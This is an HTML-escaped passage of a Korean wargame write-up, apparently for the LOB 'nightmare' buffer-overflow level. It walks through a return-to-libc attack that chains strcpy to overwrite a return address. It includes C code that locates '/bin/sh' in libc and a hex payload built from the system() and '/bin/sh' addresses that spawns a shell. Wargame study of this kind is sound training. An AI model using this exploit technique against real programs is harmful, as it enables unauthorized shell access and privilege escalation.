14pt;&quot;&gt;]);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%s\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;buffer);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;buffer+40+8 번지부터 4byte를 'a'로 set한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//dangerous&amp;nbsp;waterfall&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;memset(buffer&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'a'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;nightmare의 메모리 구조를 예상해보면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 637px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F0B84F5BBDD42E0B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F0B84F5BBDD42E0B&quot; width=&quot;637&quot; height=&quot;667&quot; filename=&quot;이미지 002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;실제 변수가 할당될 때, gcc가 최적화를 위해 자동적으로 dummy를 생성할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb를 이용해 nightmare를 분석해보자. nightmare를 gdb로 실행하는 도중 permission denied가 발생하면 cp 명령을 이용하여 파일을 복사하면 된다. 현재 user의 권한으로 똑같은 파일을 가질 수 있기 때문이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 752px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99ABC44D5BBDD5401B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99ABC44D5BBDD5401B&quot; width=&quot;752&quot; height=&quot;100&quot; filename=&quot;이미지 003.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위와 같이 nightmarecp가 succubus의 권한으로 복사된 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;dummy가 생성되었는지 gdb를 통해 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 588px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F909365BBDD7302D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F909365BBDD7302D&quot; width=&quot;588&quot; height=&quot;553&quot; filename=&quot;이미지 004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;dummy가 추가적으로 생성되지 않고 정확히 44(0x2C) byte가 생성된 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;strcpy() 함수에 대해 자세히 알아보는 것이 좋다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;strcpy()의 원형&lt;/span&gt;은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;char *strcpy(char *Destination, char const *source);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 주목할 점은 포인터를 이용하여&amp;nbsp;우리가 Destination에, 원하는 source를 작성 가능하다는 뜻이다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;check address&quot; 부분 때문에 반드시 main 함수의 RET는 strcpy가 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서 strcpy의 RET 부분을 수정하고 싶지만, &quot;// dangerous waterfall&quot; 때문에 반드시 strcpy의 RET이 &quot;AAAA&quot;로 덮어쓰기 때문에, strcpy의 RET도 사용할 수 없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;여기서 우리가 주목할 점은, s&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;trcpy를 통해서 source에 쉘코드를 삽입하고, Destination에 strcpy의 RET으로 설정하면 쉘코드가 strcpy의 RET으로 설정되어 strcpy가 끝난 뒤 쉘 코드를 실행&lt;/span&gt;할 것이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;그림으로 나타내면 아래와 같이 나타낼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main 함수가 끝난 직후이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99EED9355BBEC59B0E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99EED9355BBEC59B0E&quot; width=&quot;1000&quot; height=&quot;103&quot; filename=&quot;이미지 006.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 Destination의 주소를 buffer + 48, Source에 System(&quot;/bin/sh&quot;)를 넣으면 아래와 같이 나타낼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99EC003F5BBEC60D41&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99EC003F5BBEC60D41&quot; width=&quot;1000&quot; height=&quot;90&quot; filename=&quot;이미지 007.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 공격을 위해 필요한 것은&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt; strcpy의 주소, RTL을 위한 system(), &quot;/bin/sh&quot;주소, buffer+48의 주소, buffer의 주소&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;RTL을 위한 system()의 주소와, &quot;/bin/sh&quot;의 주소&lt;/span&gt;가 필요하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;공유라이브러리의 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;system() 함수의 주소는 gdb&lt;/span&gt;를 통해서 알 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 777px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99AC15465BBECAC729&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99AC15465BBECAC729&quot; width=&quot;777&quot; height=&quot;172&quot; filename=&quot;이미지 008.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;system() 함수 내부에 &quot;/bin/sh&quot;라는 문자열&lt;/span&gt;이 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;system() 함수 내부에 &quot;/bin/sh&quot;라는 문자열을 찾는 소스는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main()&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;long&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;shell&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x40058ae0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(memcmp((&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)shell,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;))&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;shell&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%x\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;shell);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;shell에 system 함수의 주소를 넣고, system 함수의 시작부터 &quot;/bin/sh&quot;의 문자열을 만날 때 까지 주소를 1씩 증가시켜 &quot;/bin/sh&quot;의 문자열을 찾는 소스이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 686px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990BB23F5BBECC5A2B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990BB23F5BBECC5A2B&quot; width=&quot;686&quot; height=&quot;78&quot; filename=&quot;이미지 009.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;/bin/sh&quot;의 문자열이 0x400fbff9에 위치한 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;RTL을 통한 payload&lt;/span&gt;는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;&quot;\xe0\x8a\x05\x40&quot; + &quot;AAAA&quot; + &quot;\xf9\xbf\x0f\x40&quot;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;strcpy()의 주소는 